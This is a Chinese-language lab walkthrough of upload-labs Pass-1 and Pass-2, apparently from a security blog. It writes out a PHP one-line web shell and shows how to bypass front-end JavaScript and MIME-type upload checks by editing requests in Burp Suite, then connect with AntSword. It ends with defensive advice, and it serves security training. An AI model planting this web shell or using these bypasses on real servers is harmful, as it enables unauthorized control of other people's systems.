目录
[1. 关卡现象](#1. 关卡现象)
[2. 原理分析](#2. 原理分析)
[3. 通关步骤](#3. 通关步骤)
[4. 为什么能成功?](#4. 为什么能成功?)
[1. 关卡现象](#1. 关卡现象)
[2. 原理分析](#2. 原理分析)
[3. 通关步骤(Burp Suite抓包修改)](#3. 通关步骤(Burp Suite抓包修改))
[4. 为什么能成功?](#4. 为什么能成功?)
引言
在Web安全领域,文件上传功能是经常被攻击者盯上的"重灾区"。许多网站允许用户上传头像、附件等文件,但如果对上传的文件检查不严,攻击者就可能上传一个恶意脚本(比如一句话木马),从而获取服务器的控制权限。
今天,我们就通过upload-labs靶场的第一关和第二关,来认识两种最基础、最常见的防护方式------前端JavaScript验证 和服务端MIME类型验证,并学习如何轻松绕过它们。这两关是文件上传漏洞的入门门槛,非常适合初学者理解漏洞原理和基本的绕过思路。
准备工作:一句话木马
在开始闯关之前,我们需要准备一个"武器"------一句话木马。在本地创建一个文本文件,命名为shell.php,用记事本打开,写入以下代码:
php
<?php @eval($_POST['pass']);?>

这串代码的作用是:接收通过POST请求传递的参数pass,并将参数值作为PHP代码执行。后面我们可以用"中国蚁剑"或"中国菜刀"这类工具,通过密码pass来连接这个文件,从而控制服务器。
第一关:前端JavaScript验证
1. 关卡现象
当你直接尝试上传shell.php文件时,浏览器会立刻弹出一个提示框,告诉你"文件类型不正确",并且页面没有刷新。这说明文件根本没有被发送到服务器,而是在浏览器端就被拦截了。

2. 原理分析
这是典型的前端验证。验证代码是用JavaScript编写的,在用户的浏览器中运行。它检查了文件选择框里的文件扩展名,如果不是.jpg、.png、.gif等图片格式,就直接弹出警告,阻止表单提交。这种验证方式的优点是速度快、减轻服务器压力,但缺点也很明显------所有验证逻辑都暴露在用户面前,极易被绕过。
3. 通关步骤
抓包修改(通用的方法)
有时候前端验证不仅仅是弹窗,可能还包含其他逻辑,直接禁用JS可能影响页面其他功能。更稳妥的办法是:
先上传一个合法的图片文件 (比如logo.jpg),并使用Burp Suite开启拦截。
删除图中红色部分

在Burp中抓到上传请求后,将文件名和文件内容修改为shell.php和木马代码。
放行数据包,服务器就会把shell.php保存下来。

4. 为什么能成功?
因为前端JavaScript验证只在浏览器端生效,当我们用Burp截获请求并修改后,浏览器原本的检查结果已经被绕过了。服务器接收到的请求中,文件名是shell.php,内容也是木马,所以它就被原样保存下来了。前端验证只能防君子,不能防黑客。
配置好中国蚁剑

得到shell

第二关:服务端MIME类型验证
1. 关卡现象
在第一关成功上传后,我们刷新页面,再次尝试上传shell.php,却发现这次被拦截了。而且页面刷新后才提示错误,说明验证发生在服务器端。

2. 原理分析
查看源码可以发现,这一关检查的是$_FILES数组里的type字段,也就是文件的MIME类型 。MIME类型可以理解为文件的"身份证",浏览器在上传文件时会根据文件后缀自动生成一个MIME类型,比如.jpg对应image/jpeg,.php对应application/x-php。服务器规定,只有MIME类型为image/jpeg、image/png或image/gif的文件才允许上传。
3. 通关步骤(Burp Suite抓包修改)
第一步:配置代理并抓包。
-
打开Burp Suite,确保拦截开启。
-
浏览器选择
shell.php,点击上传。此时请求被Burp拦截。
第二步:修改数据包中的MIME类型。
-
在拦截到的数据包中,找到
Content-Type这一行。你会看到类似:text
Content-Type: application/x-php -
将其修改为:
text
Content-Type: image/jpeg

第三步:放行数据包。
- 点击Burp上的"Forward",将修改后的请求发送给服务器。

上传成功后,访问http://你的靶场IP/upload/shell.php,用蚁剑连接即可。
4. 为什么能成功?
服务器只检查了MIME类型字段的值,并没有验证文件内容是否真的是图片。我们将其改为image/jpeg后,服务器就认为这是一个图片文件,于是放行。MIME类型完全由客户端提供,服务器直接信任,这是典型的安全配置缺陷。
总结
通过这两关,我们可以总结出文件上传漏洞的两种常见绕过思路:
| 关卡 | 验证方式 | 绕过方法 | 核心原理 |
|---|---|---|---|
| Pass-1 | 前端JavaScript验证 | 禁用JS 或 抓包修改 | 前端验证只发生在浏览器,可被用户控制 |
| Pass-2 | 服务端MIME类型验证 | 抓包修改Content-Type | 服务器信任客户端提供的MIME类型,未做内容校验 |
防御建议
对于开发者来说,这两关的防御方式显然是不够的。正确的做法应该是:
-
不使用前端验证作为唯一防线,后端必须独立校验。
-
对于MIME类型,不能直接信任客户端的声明,应通过读取文件头部信息等方式判断真实类型。
-
结合白名单机制,只允许特定的文件后缀和类型,并随机重命名文件,增加攻击难度。
对于安全测试人员来说,理解这些基础绕过方法,是深入学习更复杂上传漏洞(如黑名单绕过、解析漏洞、竞争条件等)的基石。在接下来的博文中,我们将继续挑战更多关卡,探索文件上传漏洞的奇妙世界。